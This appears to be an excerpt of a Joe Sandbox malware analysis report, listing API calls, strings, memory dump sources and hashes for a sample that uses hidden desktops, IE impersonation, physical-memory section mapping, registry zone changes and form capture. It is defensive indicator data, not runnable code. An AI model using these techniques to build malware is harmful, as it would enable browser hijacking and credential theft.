DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

MicroSoft-Corp, xrefs: 004053C3
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

value, xrefs: 00401BC7
%s FORM_%X, xrefs: 00401F6B
%s %X%c, xrefs: 0040218F
%s%c, xrefs: 004021EB

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

ntdll.dll, xrefs: 00402835
RtlNtStatusToDosError, xrefs: 00402887
RtlInitUnicodeString, xrefs: 00402841
NtUnmapViewOfSection, xrefs: 00402851
NtMapViewOfSection, xrefs: 00402877
NtOpenSection, xrefs: 00402867

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

[length=%i] [summ=%i], xrefs: 004037D8
TXT: '%s', xrefs: 00403827
%02X , xrefs: 004037FF
HEX: , xrefs: 004037E9
X4, xrefs: 004037E2

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
yes, xrefs: 0040510E
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
1601, xrefs: 004050D4
BrowseNewProcess, xrefs: 00405113
GlobalUserOffline, xrefs: 004050FA

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

%02X , xrefs: 00403872
HEX: , xrefs: 0040385E

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
